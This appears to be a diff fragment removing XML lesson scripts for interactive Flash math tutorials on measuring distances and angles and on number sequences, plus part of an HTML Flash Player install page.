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-<chapters><chapter id="ch1" title=""><section id="sect1" title=""><clip id="measurement" startSegId="s0" title="Measuring Distances and Angles" url="measurement.swf"><seg id="s0" templateId="" url=""><args title="Introduction"/><next branch="false" value="s1"/></seg><seg id="s1" templateId="" url=""><args text="We measure distances and angles all the time - when we ride our bikes, throw a baseball, or even walk through a doorway. "/><next branch="false" value="s2"/></seg><seg id="s2" templateId="" url=""><args text="Our brains automatically make measurements to answer questions like &quot;How high do I have to aim to throw the ball to third base?&quot; or &quot;Will my handlebars fit between those posts?&quot;"/><next branch="false" value="s3"/></seg><seg id="s3" templateId="" url=""><args text="Your brain can take care of most of life's measurement tasks without you having to worry about them too much. So why do we need rulers and other measurement tools?"/><next branch="false" value="s4"/></seg><seg id="s4" templateId="" url=""><args text="We use measurement tools when we want to communicate with other people. For instance, how would you explain to your German penpal how to set up a baseball field? "/><next branch="false" value="s5"/></seg><seg id="s5" templateId="" url=""><args text="You need to tell her how far to separate the bases, and at what angles to set up the baselines."/><next branch="false" value="s6"/></seg><seg id="s6" templateId="" url=""><args text="That's when we need things like rulers, protractors, and scale drawings. Let's learn more about using these measurement tools."/><next branch="false" value="s7"/></seg><seg id="s7" templateId="" url=""><args text="Before we start, let's look at a problem you might see on a criterion-based test. Think about how you could use measurement to answer the problem."/><next branch="false" value="s8"/></seg><seg id="s8" templateId="" url=""><args text="In a moment, we'll return to this criterion-based test problem and solve it. For right now, let's look at a more interesting problem. "/><next branch="false" value="s9"/></seg><seg id="s9" templateId="" url=""><args text="Suppose you're piloting a passenger jet. You notice a strange object hovering in the sky a few miles ahead and to your left."/><next branch="false" value="s10"/></seg><seg id="s10" templateId="" url=""><args text="You radio in to the closest control tower to report an unidentified flying object. The air traffic controller knows your location but can't see the UFO. How can you report the location of the UFO to air traffic control?"/><next branch="false" value="r0"/></seg><seg id="r0" templateId="" url=""><args title="Measuring Distances"/><next branch="false" value="r1"/></seg><seg id="r1" templateId="" url=""><args text="Let's first look at the distance between your plane and the UFO. To measure distance in this tutorial, you'll need the Interactive Ruler. Take a moment and try moving and rotating it by clicking and dragging with your mouse."/><next branch="false" value="r2"/></seg><seg id="r2" templateId="" url=""><args correct="Good job! The correct answer is 9 centimeters." high="9.1" incorrect="No, that's not it. Line up point A exactly with the zero hatchmark on your ruler and make sure you're counting right." low="8.9" text="Now let's measure a few example lengths. We'll start simple. Measure the distance from point A to point B in centimeters and enter your answer in the field above."/><next branch="false" value="r3"/></seg><seg id="r3" templateId="" url=""><args text="When using a ruler, remember to line up the 0 hatchmark on the ruler with the edge of the distance you're measuring. Why do we measure from the 0 hatchmark, and not simply from the edge of the ruler? "/><next branch="false" value="r4"/></seg><seg id="r4" templateId="" url=""><args text="Over time, the corners of the ruler are likely to get scuffed up. It's hard to make precise measurements with a worn-down corner. That's why we measure from a point on the ruler that won't be ruined by normal wear and tear. "/><next branch="false" value="r5"/></seg><seg id="r5" templateId="" url=""><args correct="Excellent.  The answer is 14 centimeters." high="14.1" incorrect="Nope. Make sure you measure the pencil from eraser to the lead point. You'll need to rotate the ruler to do this." low="13.9" text="Now let's measure something you're very familiar with. Enter the length of the pencil into the box above in centimeters."/><next branch="false" value="r6"/></seg><seg id="r6" templateId="" url=""><args aPop="Whoa. That's pretty darn close. If the UFO were 4 centimeters away, you'd have no way to avoid a collision." aText="4 centimeters" bPop="4 miles you say? But you can't say that for certain can you?" bText="4 miles" cPop="40 miles you say? You can't say that for certain, can you?" cText="40 miles" correct="d" dPop="You're right! You can use the ruler to measure the distance of the blip on the radar screen to your plane. But obviously the real UFO is farther than 4 centimeters. You need to know the scale of the radar screen to figure out how far away the UFO actually is." dText="I need more information to answer this question." text="Back to that UFO: Use your Interactive Ruler to measure the distance from your plane to the UFO."/><next branch="false" value="r7"/></seg><seg id="r7" templateId="" url=""><args aPop="Hmmm. Remember, we're talking about how far away the UFO actually is from the plane." aText="4 centimeters" bPop="That's right." bText="2 miles" cPop="That's not correct. Think about it: 2 centimeters on the radar screen corresponds to 1 mile in the real world." cText="4 miles" correct="b" dPop="That's not correct. Think about it: 2 centimeters on the radar screen corresponds to 1 mile in the real world." dText="20 miles" text="The radar screen is a scale drawing of the real world. We need to translate from the centimeter measurements on the screen to the mile measurements of real life. If the scale is 2 centimeters : 1 mile, how far away from the plane is the UFO? "/><next branch="false" value="r8"/></seg><seg id="r8" templateId="" url=""><args text="To find the real distance, you use a proportion. If 2 centimeters on the radar screen is 1 mile in the real world, then 4 centimeters on the radar screen is 2 miles in the real world."/><next branch="false" value="r9"/></seg><seg id="r9" templateId="" url=""><args aPop="Nope. Don't forget to use the scale." aText="26 centimeters" bPop="A bit too low. Measure every path the band marches from start to finish." bText="130 feet" cPop="Not quite. Follow the path closely and measure each side." cText="260 feet" correct="d" dPop="Correct." dText="520 feet" text="Let's try a more difficult example. Your band director wants to have the band march around the school for a pep rally and he wants you to find out how far the march will be. The scale is 1 centimeter : 20 feet. How far is the march?"/><next branch="false" value="r10"/></seg><seg id="r10" templateId="" url=""><args text="First, you measure each side of the diagram of the school. The sides are 6 centimeters, 7 centimeters, 6 centimeters, and 7 centimeters.  "/><next branch="false" value="r11"/></seg><seg id="r11" templateId="" url=""><args text="Then you add all four sides together to get the perimeter of the diagram of the school. That's a total of 26 centimeters."/><next branch="false" value="r12"/></seg><seg id="r12" templateId="" url=""><args text="Then you use the scale to find the actual perimeter of the school. If 1 centimeter on the diagram corresponds to 20 feet in the real world, then 26 centimeters on the diagram correspond to 520 feet in the real world. For bonus points, how would you find the area of the school grounds?"/><next branch="false" value="r13"/></seg><seg id="r13" templateId="" url=""><args text="To find the area of a rectangle, we multiply the length (l) by the width (w)."/><next branch="false" value="r14"/></seg><seg id="r14" templateId="" url=""><args text="With a diagram or map, we just measure the width and length, convert the measurements using the scale, and then multiply them together to find the area."/><next branch="false" value="r15"/></seg><seg id="r15" templateId="" url=""><args text="You'll be able to practice more measurements of distance at the end of this module."/><next branch="false" value="p0"/></seg><seg id="p0" templateId="" url=""><args title="Measuring Angles"/><next branch="false" value="p1"/></seg><seg id="p1" templateId="" url=""><args text="Back to the UFO problem. Is the distance from the plane to the UFO the only piece of information you need to communicate its location?"/><next branch="false" value="p2"/></seg><seg id="p2" templateId="" url=""><args text="Think about it. If you only knew the UFO's distance, it could be anywhere in a circle all around your plane. You need to know what direction the UFO is in, too."/><next branch="false" value="p3"/></seg><seg id="p3" templateId="" url=""><args text="We need to find the angle of the UFO with respect to the direction our plane is flying. If we tell the control tower the distance of the UFO and its angle, the controllers will be able to pinpoint its location."/><next branch="false" value="p4"/></seg><seg id="p4" templateId="" url=""><args text="Let's review the basics of angles. Look at two crossing lines. Angles are made up of two lines, which meet at a single point, called a vertex."/><next branch="false" value="p5"/></seg><seg id="p5" templateId="" url=""><args text="The angle is a measure of the rotation between two lines. The angle tells you how far away one line is turned from the other."/><next branch="false" value="p6"/></seg><seg id="p6" templateId="" url=""><args text="Angles are measured in degrees. A full rotation of an angle is divided into 360 degrees."/><next branch="false" value="p7"/></seg><seg id="p7" templateId="" url=""><args text="A half rotation, called a straight angle, measures 180 degrees."/><next branch="false" value="p8"/></seg><seg id="p8" templateId="" url=""><args text="A quarter rotation, called a right angle, measures 90 degrees."/><next branch="false" value="p9"/></seg><seg id="p9" templateId="" url=""><args text="Acute angles measure less than 90 degrees.  Obtuse angles measure between 90 and 180 degrees."/><next branch="false" value="p10"/></seg><seg id="p10" templateId="" url=""><args text="Use the mouse to rotate the red line around the vertex. Read the angle between the two lines above."/><next branch="false" value="p11"/></seg><seg id="p11" templateId="" url=""><args text="So how do we measure an angle? Meet the Interactive Protractor. You can move and rotate this tool by clicking and dragging it with your mouse. Try it out."/><next branch="false" value="p12"/></seg><seg id="p12" templateId="" url=""><args text="Now let's measure an angle. First, line up the flat side of the protractor with the black line."/><next branch="false" value="p13"/></seg><seg id="p13" templateId="" url=""><args text="Then, slide the protractor along the black line until the center of the protractor is on top of the vertex of the angle."/><next branch="false" value="p14"/></seg><seg id="p14" templateId="" url=""><args correct="Very good.  The angle is 30 degrees." high="30.5" incorrect="Not quite. Make sure you've aligned the protractor correctly. Are you counting the degrees from the correct side?" low="29.5" text="Now you can read off the angle on the arc of the protractor. Enter your measurement in the box above."/><next branch="false" value="p15"/></seg><seg id="p15" templateId="" url=""><args correct="That's it.  The angle is 120 degrees." high="120.5" incorrect="Not exactly. For this problem you'll have to rotate the protractor." low="119.5" text="Correct. What is the measure of this angle? Enter your answer above."/><next branch="false" value="p16"/></seg><seg id="p16" templateId="" url=""><args text="First, you rotate the protractor to line up its flat side with the black line of the angle.  "/><next branch="false" value="p17"/></seg><seg id="p17" templateId="" url=""><args text="Then, you align the center of the protractor with the vertex of the angle and count the degrees between the two lines.  "/><next branch="false" value="p18"/></seg><seg id="p18" templateId="" url=""><args correct="Well done!  The angle to the UFO is 50 degrees." high="50.5" incorrect="That's not it. Ask yourself: which two lines am I comparing?" low="49.5" text="Now let's get back to the UFO problem. With your Interactive Protractor, measure the number of degrees the UFO is located from your flight path. Enter your answer above."/><next branch="false" value="p19"/></seg><seg id="p19" templateId="" url=""><args text="To solve this problem, you need to figure out what two lines form the angle we must measure. The first line is the direction line of your flight. "/><next branch="false" value="p20"/></seg><seg id="p20" templateId="" url=""><args text="The second line is the line from your plane to the UFO. The angle between those two lines is 50 degrees."/><next branch="false" value="p21"/></seg><seg id="p21" templateId="" url=""><args text="With both the distance and the angle, the air traffic controller can accurately locate the UFO. Now let's take what we've learned about measurement and apply it to the criterion-based test problem. "/><next branch="false" value="p22"/></seg><seg id="p22" templateId="" url=""><args correct="That's it!  The distance is about 5.5 miles." high="5.6" incorrect="Not quite. Remember measuring the length of the band march? This question is very similar. Don't forget to use the scale, either." low="5.4" text="Let's approach the problem one question at a time. Using the scale, measure the distance to the station if Sean takes the path heading east to the river and then follows the path to the ranger station. Enter your answer in the box above in miles."/><next branch="false" value="p24"/></seg><seg id="p24" templateId="" url=""><args text="Using your ruler, you measure each line the path makes and add them together."/><next branch="false" value="p25"/></seg><seg id="p25" templateId="" url=""><args text="Finally, you use the scale that explains that 1 centimeter on the map corresponds to 0.5 miles in the real world. In other words, 11 centimeters on the map corresponds to 5.5 miles.  "/><next branch="false" value="p26"/></seg><seg id="p26" templateId="" url=""><args correct="Very good!  The angle to the ranger station is 48 degrees." high="48.5" incorrect="Nope. Think back to measuring the angle of the UFO." low="47.5" text="Let's look at the second question. If Sean had decided to cut through the brush, approximately how many degrees west of north must he have had been traveling to reach the ranger station? Use your protractor. How many miles would this trip through the woods be?  Enter your answer in the box above."/><next branch="false" value="p27"/></seg><seg id="p27" templateId="" url=""><args text="First, you need to determine the angle that you're measuring.  Since we're measuring the angle &quot;west of north,&quot;  we need one line going north and one connecting Sean and the ranger station."/><next branch="false" value="p28"/></seg><seg id="p28" templateId="" url=""><args text="Then we rotate our protractor to align the base with one of the sides of the angle."/><next branch="false" value="p29"/></seg><seg id="p29" templateId="" url=""><args text="Then we place the center of the protractor over the vertex of the angle."/><next branch="false" value="p30"/></seg><seg id="p30" templateId="" url=""><args text="Lastly, we count the degrees in the angle."/><next branch="false" value="p31"/></seg><seg id="p31" templateId="" url=""><args text="If you can answer the questions in this tutorial, you should be able to answer the measurement questions on the criterion-based test."/><next branch="false" value="p32"/></seg><seg id="p32" templateId="" url=""><args title="Review"/><next branch="false" value="p33"/></seg><seg id="p33" templateId="" url=""><args text="Use a ruler to measure distance. Align the zero hatchmark with the edge of the object being measured."/><next branch="false" value="p34"/></seg><seg id="p34" templateId="" url=""><args text="When you're using a scale drawing like a map or a diagram, you have to convert the measured distance into the actual distance. Use the scaling factor provided on the map or diagram."/><next branch="false" value="p35"/></seg><seg id="p35" templateId="" url=""><args text="When measuring an angle, use a protractor. Place the flat side of the protractor next to the first line of the angle. Align the center of the protractor with the vertex of the angle. Then read off the angle on the arc of the protractor. "/><next branch="false" value="p36"/></seg><seg id="p36" templateId="" url=""><args text="Now let's apply what we've learned in some exercises."/><next branch="false" value="e0"/></seg><seg id="e0" templateId="" url=""><args title="Exercises"/><next branch="false" value="e1"/></seg><seg id="e1" templateId="" url=""><args text="In the following 10 exercises, you'll practice the skills you've just learned about measurement and scale.  After each question, the answer will be explained.  Let's begin."/><next branch="false" value="e2"/></seg><seg id="e2" templateId="" url=""><args correct="Good start!  The angle is 75 degrees." high="75.5" incorrect="That's not correct. Take care to line up the vertex with the middle of the protractor." low="74.5" text="1) How large is the angle?  Enter your answer in the box above."/><next branch="false" value="e3"/></seg><seg id="e3" templateId="" url=""><args text="First, you line up the base of the protractor with a line of the angle.  Then you place the center of the protractor over the vertex of the angle and measure the angle.  "/><next branch="false" value="e4"/></seg><seg id="e4" templateId="" url=""><args correct="Very good!  The distance from P to Q is 7 centimeters." high="7.1" incorrect="No.  Remember what you learned in the tutorial." low="6.9" text="2) Give the distance from point P to point Q in centimeters. Enter your answer in the box above."/><next branch="false" value="e5"/></seg><seg id="e5" templateId="" url=""><args text="Rotate the ruler to line up the 0 hatchmark with point P and measure the distance."/><next branch="false" value="e6"/></seg><seg id="e6" templateId="" url=""><args correct="That's it.  The red side is 5.5 centimeters long." high="5.6" incorrect="Sorry, no.  Are you measuring the red side of the triangle?" low="5.4" text="3) Measure the length of the red side of the triangle.  In the box above, give your answer in centimeters."/><next branch="false" value="e7"/></seg><seg id="e7" templateId="" url=""><args text="You line up your ruler along the red line of the triangle to measure the distance."/><next branch="false" value="e8"/></seg><seg id="e8" templateId="" url=""><args aPop="That's not the correct answer. Be sure you're using the Interactive Protractor correctly." aText="54 degrees" bPop="Good job!" bText="57 degrees" cPop="That's not the correct answer. You need to find the smallest angle." cText="59 degrees" correct="b" dPop="That's not the correct answer. You need to find the smallest angle." dText="64 degrees" text="4) What is the size of the smallest angle in this triangle?"/><next branch="false" value="e9"/></seg><seg id="e9" templateId="" url=""><args text="It's too difficult to guess the smallest angle, so you need to measure each one.  You align your protractor correctly and compare the size of each angle. "/><next branch="false" value="e10"/></seg><seg id="e10" templateId="" url=""><args correct="Great! The distance is 9 feet." high="9.3" incorrect="Sorry, that's not it." low="8.7" text="5) The diagram above displays the layout of a living room. Measure the distance from the bookshelf to the fireplace. In the box above, give your answer in feet. "/><next branch="false" value="e11"/></seg><seg id="e11" templateId="" url=""><args text="First, you line up the 0 hatchmark with the edge of the bookshelf and find the distance to the fireplace to be 3 centimeters.  "/><next branch="false" value="e12"/></seg><seg id="e12" templateId="" url=""><args text="Then, you use the scale to convert your measurement into actual distance.  Since 1 cm equals 3 feet, then 3 cm equals 9 feet. On to the next question."/><next branch="false" value="e13"/></seg><seg id="e13" templateId="" url=""><args aPop="That's right. The slide is safe." aText="Yes" bPop="That's not correct. The slide is safe. Try measuring again." bText="No" cPop="That's not correct. You can use the protractor to measure the angle of the slide." cText="The answer cannot be determined from the information given." correct="a" text="6) You've just helped build a playground slide for your younger sister.  The instructions say that to be safe, the slope of the slide should be no more than 40 degrees.  Is the slide safe? "/><next branch="false" value="e14"/></seg><seg id="e14" templateId="" url=""><args text="To determine the slope of the slide, you measure the angle made between the ground and the slide.  The angle is 35 degrees.  The slide needed to be less than 40 degrees to be safe, so the slide is safe. "/><next branch="false" value="e15"/></seg><seg id="e15" templateId="" url=""><args correct="Excellent!  The angle is 120 degrees." high="120.5" incorrect="That's not it." low="119.5" text="7) How many degrees are in angle PCM?  Enter your answer in the box above."/><next branch="false" value="e16"/></seg><seg id="e16" templateId="" url=""><args text="First, you identify angle PCM as the angle with point C as its vertex.  Remember with shapes, you measure the inside angles.  Then, you rotate your protractor to measure the angle. "/><next branch="false" value="e17"/></seg><seg id="e17" templateId="" url=""><args correct="Very good.  The perimeter is 23 centimeters long." high="23.2" incorrect="Nope." low="22.8" text="8)  What is the perimeter of trapezoid PCMA?  Enter your answer in the box above."/><next branch="false" value="e18"/></seg><seg id="e18" templateId="" url=""><args text="The perimeter is the length of each side added together.  You rotate your ruler to measure each side of the trapezoid.  You then find the sum of the lengths."/><next branch="false" value="e19"/></seg><seg id="e19" templateId="" url=""><args aPop="That's not the correct answer. What's the difference between the angle you're measuring and a 90-degree angle?" aText="105 degrees." bPop="That's not the correct answer. What's the difference between the angle you're measuring and a 90-degree angle?" bText="75 degrees." cPop="That's not the correct answer. What's the difference between the angle you're measuring and a 90-degree angle?" cText="60 degrees" correct="d" dPop="Good job!" dText="15 degrees." text="9) You've found an old softball field in the local park.  However, whoever built it didn't do a good job.  The baselines should form right angles.  How many degrees is the angle at home plate off from 90 degrees?"/><next branch="false" value="e20"/></seg><seg id="e20" templateId="" url=""><args text="First you measure the angle on the diagram.  Then to find the difference between the measured angle and 90 degrees, you subtract 75 from 90."/><next branch="false" value="e21"/></seg><seg id="e21" templateId="" url=""><args aPop="That's not correct.  Measure the difference between the actual distance and the regulation distance." aText="50 feet" bPop="Close, but that's not correct.   Measure carefully." bText="10 feet" cPop="That's right!" cText="6 feet" dPop="That's not correct.  Be sure to use the scale." dText="1 foot" text="10) The regulation distance from home plate to the pitcher's mound should be 43 feet.   By how many feet does the park's softball field differ from regulation distance?"/><next branch="false" value="e22"/></seg><seg id="e22" templateId="" url=""><args text="First, you measure the distance between the pitcher's mound and home plate in centimeters. The distance is 7 centimeters."/><next branch="false" value="e23"/></seg><seg id="e23" templateId="" url=""><args text="Then you convert that measurement with the scale. If 1 centimeter corresponds to 7 feet, then 7 centimeters corresponds to 49 feet.  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-					<br><A HREF="http://www.macromedia.com/go/getflashplayer">Install the latest version now.</A></td>
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-				<tr>
-					<td><p>If you are using Internet Explorer on a Windows PC, the installation may silently fail if you do not have administrator privileges for your machine.
-					If you have gone through the installation and the movie below does not indicate version 7,0,0,0 or higher, you may need to contact your system adminstrator to help install the flash player.</p> 
-					<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="180" height="40" align="middle">
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-					<param name="bgcolor" value="#ffffff" />
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-					</object>
-					</td>
-				</tr>
-
-				</tr>
-				<tr><!--spacer-->
-					<td colspan="2"><img src="http://enspire.com/images/dark_blue_pixel.gif" width="535" height="1"></td>
-				</tr>
-				<tr>
-					<td colspan="2"><P>If you have any technical problems, please contact <A HREF="mailto:support@enspire.com">support@enspire.com</A></P></td>
-				</tr>
-			</table>
-		</td>
-	</tr>
-	<tr>
-		<td bgcolor="#02528E"><img src="dark_blue_pixel.gif" width="1" height="1"></td>
-		<td bgcolor="#02528E"><img src="dark_blue_pixel.gif" width="555" height="1"></td>
-		<td bgcolor="#02528E"><img src="dark_blue_pixel.gif" width="1" height="1"></td>
-	</tr>
-	<tr><td></td><td><p>&nbsp;</p></td></tr>
-</table>
-
- </BODY>
- 
-</HTML>
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-<chapters><chapter id="ch1" title=""><section id="sect1" title=""><clip id="patterns" startSegId="s0" title="Sequences and Patterns" url="patterns.swf"><seg id="s0" templateId="" url=""><args title="Introduction"/><next branch="false" value="s1"/></seg><seg id="s1" templateId="" url=""><args text="You're already an expert at recognizing the patterns around you! You've noticed them on animals, in buildings, and in the hours of the day and seasons of the year."/><next branch="false" value="s2"/></seg><seg id="s2" templateId="" url=""><args text="Much of what we know about the universe we've learned by identifying patterns."/><next branch="false" value="s3"/></seg><seg id="s3" templateId="" url=""><args text="Recognizing patterns in numbers is an important skill. It can also be pretty fun, like solving a puzzle."/><next branch="false" value="s4"/></seg><seg id="s4" templateId="" url=""><args text="We'll look at a particular type of mathematical pattern: a sequence. A sequence is an ordered series of numbers. Once we understand the pattern behind the sequence, we should be able to figure out all of the numbers in the sequence."/><next branch="false" value="s5"/></seg><seg id="s5" templateId="" url=""><args text="There are many different types of sequences, but we will look at two of the basic kinds: sequences based on &lt;I&gt;addition&lt;/I&gt;...  "/><next branch="false" value="s5a"/></seg><seg id="s5a" templateId="" url=""><args text="...and sequences based on &lt;I&gt;multiplication&lt;/I&gt;."/><next branch="false" value="s6"/></seg><seg id="s6" templateId="" url=""><args text="Not only are patterns all around us in the real world, they are also on our tests! Let's look at a question you may see on a standardized exam."/><next branch="false" value="s7"/></seg><seg id="s7" templateId="" url=""><args text="That looks tough. Before we get too far along, let's look at an important real-world example."/><next branch="false" value="s8"/></seg><seg id="s8" templateId="" url=""><args text="Sunspots are areas on the sun that have temporarily become colder than the surrounding areas. They usually cause intense electromagnetic activity, which can be strong enough to disturb radio and cell phone communications 93 million miles away."/><next branch="false" value="s9"/></seg><seg id="s9" templateId="" url=""><args text="The table above shows years in which sunspot activity was much higher than usual. Based on this information, we must find when the next year of high sunspot activity will be."/><next branch="false" value="s10"/></seg><seg id="s10" templateId="" url=""><args aPop="That's not correct. That bar is smaller than the previous one, and it looks like the bars are increasing in height." aText="" bPop="That looks about right." bText="" cPop="That's not correct. The bars are increasing in height, but they increase by a steady amount. This bar is much too large." cText="" correct="b" text="People are naturally skilled at finding visual patterns.  Let's look at a bar chart of the years in the sequence. Can you tell what the next bar in the sequence should be? Click on the bar you think is the right one."/><next branch="false" value="s11"/></seg><seg id="s11" templateId="" url=""><args text="It's easy to see this pattern. There's a steady slope going upwards from one bar to the next. Pattern hunters depict numbers visually to help their search all the time. But how do we find the mathematical pattern?"/><next branch="false" value="s11a"/></seg><seg id="s11a" templateId="s0" url=""><args title="Sequences and Patterns"/><next branch="false" value="s12"/></seg><seg id="s12" templateId="" url=""><args text="Let's investigate the relationship between two consecutive numbers in a sequence. What procedure must we perform to get from one number in the sequence to the next number?"/><next branch="false" value="s13"/></seg><seg id="s13" templateId="" url=""><args aPop="That's not correct. Adding 9 to 1957 will give you 1966, not 1968." aText="Add 9" bPop="That's it!" bText="Add 11" cPop="That's not correct. Adding 22 to 1957 will give you 1979, not 1968." cText="Add 22" correct="b" dPop="That's not correct. Multiplying 1957 by 11 will give you 21,527, not 1968." dText="Multiply by 11" text="Let's begin by looking at the relationship between the first two numbers. What mathematical operation must you perform to get the second number from the first number? In other words, what must you &lt;I&gt;do&lt;/I&gt; to 1957 to get to 1968?"/><next branch="false" value="s14"/></seg><seg id="s14" templateId="" url=""><args aPop="That's not correct. Subtracting 11 from 1968 will give you 1957, not 1979." aText="Subtract 11" bPop="That's not correct. Adding 9 to 1968 will give you 1977, not 1979." bText="Add 9" cPop="That's it!" cText="Add 11" correct="c" dPop="That's not correct. Adding 22 to 1968 will give you 1990, not 1979." dText="Add 22" text="A sequence progresses in a regular way. But just because you add 11 to find the second number does not necessarily mean that adding 11 is the pattern for the sequence. So let's continue. What must you do to the second number to find the third?"/><next branch="false" value="s15"/></seg><seg id="s15" templateId="" url=""><args answer="2012" correct="That's it!" incorrect="That's not correct. Just add 11 to the last number in the sequence before the entry field to continue the sequence." text="If you investigate further, you find you only need to add 11 to get from one number in the sequence to the next number. Now that we know the pattern, what is the final number in the sequence? Enter your answer in the open box in the table above."/><next branch="false" value="s16"/></seg><seg id="s16" templateId="" url=""><args text="Easy enough, right? Well, not all number sequences are so straightforward. Let's look at the original test question, which involves a different type of sequence, and apply the same strategy we just used for this problem."/><next branch="false" value="s17"/></seg><seg id="s17" templateId="" url=""><args aPop="That looks about right." aText="" bPop="That's not the correct answer. Look at how the size of the bars changes from left to right. Can you see a pattern?" bText="" cPop="That's not the correct answer. Look at how the size of the bars changes from left to right. Can you see a pattern?" cText="" correct="a" text="First, let's look at this pattern &lt;I&gt;visually&lt;/I&gt;. This graph is much different from the last one we saw, but there's still a definite pattern. Which bar should be the next one in the sequence?"/><next branch="false" value="s18"/></seg><seg id="s18" templateId="" url=""><args text="Here, the visual pattern is slightly harder to recognize, but it's clear the curve connecting the tops of the bars gets &lt;I&gt;steeper&lt;/I&gt; as it goes from left to right, like the edge of a teacup."/><next branch="false" value="s19"/></seg><seg id="s19" templateId="" url=""><args aPop="That's true, but is that the only correct choice?" aText="Add 9" bPop="That's true, but is that the only correct choice?" bText="Multiply by 4" cPop="If you add 4 to 3, you'll get 7.  The next number in the sequence is 12." cText="Add 4" correct="d" dPop="Very good!" dText="Both A and B." text="Now let's look for the mathematical pattern. What operation must you perform on the first number to find the second?"/><next branch="false" value="s20"/></seg><seg id="s20" templateId="" url=""><args aPop="That's not correct. We're asking about the second and third numbers in this sequence, not the first and second." aText="Add 9" bPop="That's very true, but is it the only correct choice?" bText="Multiply 4" cPop="That's true, but is it the only correct choice?" cText="Add 36" correct="d" dPop="That's the correct choice!" dText="Both B and C" text="Hmm. With two possible answers, our task is more difficult. However, we can test which option is the pattern by applying each of them to the rest of the sequence. So, what operation must you perform to find the third number from the second?"/><next branch="false" value="s21"/></seg><seg id="s21" templateId="" url=""><args aPop="That's not correct. Adding 9 will only work for the first pair of numbers in the sequence." aText="Add 9" bPop="That's right!" bText="Multiply by 4" cPop="No. Adding 36 to 48 will not get you 192, will it?" cText="Add 36" correct="b" dPop="That's not correct. There can only be one correct answer. Besides, adding 9 to 48 will not get you 192." dText="Both A and B" text="Both multiplying by 4 and adding 36 will get you 48. However, we're looking for a pattern, which means we want to find something similar in the relationships between consecutive numbers. After evaluating the rest of the sequence, what must you do to &lt;I&gt;each&lt;/I&gt; number to find the next number?"/><next branch="false" value="s22"/></seg><seg id="s22" templateId="" url=""><args answer="768" correct="You got it!" incorrect="Sorry, that's not correct." text="Now that we understand the pattern, what would be the &lt;I&gt;next&lt;/I&gt; number in the sequence after 192? You may want to use the calculator provided in the corner of the screen."/><next branch="false" value="s23"/></seg><seg id="s23" templateId="" url=""><args answer1="768" answer2="3072" answer3="12288" correct="That's it!" incorrect="That's not correct. Multiply the previous number in the sequence by 4 to find the answer." text="You found the 5th number in the sequence, but the exam question asks for the 8th number. Since you now know the pattern, you can just keep multiplying by 4. Fill in the remaining numbers in the table until you find the 8th number."/><next branch="false" value="s24"/></seg><seg id="s24" templateId="" url=""><args text="Now we'll discuss one more type of number pattern. This one's a little tricky. Look at the relationships between each pair of consecutive numbers. Can you spot the pattern?"/><next branch="false" value="s25"/></seg><seg id="s25" templateId="" url=""><args answer="2" correct="That's right! The difference between 11 and 13 is 2." incorrect="That's not correct. What's the difference between 11 and 13?" text="Let's take a close look. What do you have to add to 11 to get to 13?"/><next branch="false" value="s26"/></seg><seg id="s26" templateId="" url=""><args answer="3" correct="That's right! The difference between 13 and 16 is 3." incorrect="That's not correct. What's the difference between 13 and 16?" text="To get from 11 to 13, you have to add 2. What do you have to add to 13 to get 16?"/><next branch="false" value="s27"/></seg><seg id="s27" templateId="" url=""><args answer="4" correct="That's right! The difference between 16 and 20 is 4." incorrect="That's not correct. What's the difference between 16 and 20?" text="To get from 13 to 16 you have to add 3. What do you have to add to 16 to get 20?"/><next branch="false" value="s28"/></seg><seg id="s28" templateId="" url=""><args answer="31" correct="That's correct!" incorrect="That's not correct. For this pattern, you add 2, then add 3, then add 4, then add 5. So what do you add to get the next number?" text="If you didn't see the pattern before, you may see it now. What is the next number in the sequence after 25? Enter your answer in the empty box above."/><next branch="false" value="s29"/></seg><seg id="s29" templateId="" url=""><args text="To get from one number to the next in this sequence, the amount you have to add is always changing. But it's changing in a regular, predictable way: there's a pattern inside the pattern!"/><next branch="false" value="s30"/></seg><seg id="s30" templateId="" url=""><args title="Review"/><next branch="false" value="s31"/></seg><seg id="s31" templateId="" url=""><args text="To discover the pattern in a sequence, find the common mathematical relationship between each pair of consecutive numbers."/><next branch="false" value="s32"/></seg><seg id="s32" templateId="" url=""><args text="If there is no common mathematical relationship between all pairs of consecutive numbers, look for a pattern in the sequence of differences between those pairs."/><next branch="false" value="s33"/></seg><seg id="s33" templateId="" url=""><args text="If you're having trouble recognizing the pattern, try representing the numbers in the sequence visually. Use charts and graphs to reveal patterns to the naked eye."/><next branch="false" value="e0"/></seg><seg id="e0" templateId="" url=""><args title="Exercises"/><next branch="false" value="e1"/></seg><seg id="e1" templateId="" url=""><args text="Grab a pencil and paper!  We'll practice dealing with number sequences and patterns in ten exercises. After each question, the answer will be explained. Are you ready?"/><next branch="false" value="e2"/></seg><seg id="e2" templateId="" url=""><args answer="63" correct="That's right." incorrect="That's not right. What must you do to 31 to find 39? What must you do to 39 to find 47? Is there something in common?" text="1) What is the next number in the sequence?"/><next branch="false" value="e3"/></seg><seg id="e3" templateId="" url=""><args text="The only common way to get from one number in the sequence to the next is to add 8. Therefore, you add 8 to 55 to find 63."/><next branch="false" value="e4"/></seg><seg id="e4" templateId="" url=""><args answer="324" correct="That's it!" incorrect="That's not correct. There's only one common way to find each subsequent number in the sequence." text="2) What is the next number in the sequence?"/><next branch="false" value="e5"/></seg><seg id="e5" templateId="" url=""><args text="The only common way to get from one number in the sequence to the next is to multiply by 3, so the next number in the sequence is 324."/><next branch="false" value="e6"/></seg><seg id="e6" templateId="" url=""><args answer="27" correct="That's correct!" incorrect="That's not correct. Find out what you must do to find each new number in the sequence. Is there a pattern within the pattern?" text="3) What is the next number in the sequence?"/><next branch="false" value="e7"/></seg><seg id="e7" templateId="" url=""><args text="Find the differences between each sequential pair. To get from the first number to the second, add 2. To find the third number, add 4. To find the fourth, add 6. There's a pattern within the pattern: increase the amount you add to each number by 2. To get the fifth number, add 8 to get 27."/><next branch="false" value="e8"/></seg><seg id="e8" templateId="" url=""><args answer="104" correct="That's correct." incorrect="That's not correct. What's the difference between each sequential number in the sequence? Remember, you're finding the cost for 14 tickets, not 10." text="4) The Fibonacci County Fair offers group rates for admission tickets. Using the table above, how much would it cost to buy 14 tickets?"/><next branch="false" value="e9"/></seg><seg id="e9" templateId="" url=""><args text="By finding the difference between each consecutive pair of numbers, you observe you need to add 7 to each number to find the next one. Then you add 7 to the $69 until you find the cost for 14 tickets, which is $104."/><next branch="false" value="e10"/></seg><seg id="e10" templateId="" url=""><args aPop="That's correct!" aText="8" bPop="That's not correct. We're working backwards, so what must you do to 14 to find 11?" bText="10" cPop="That's not correct. We're working backwards, so what must you do to 14 to find 11?" cText="21" 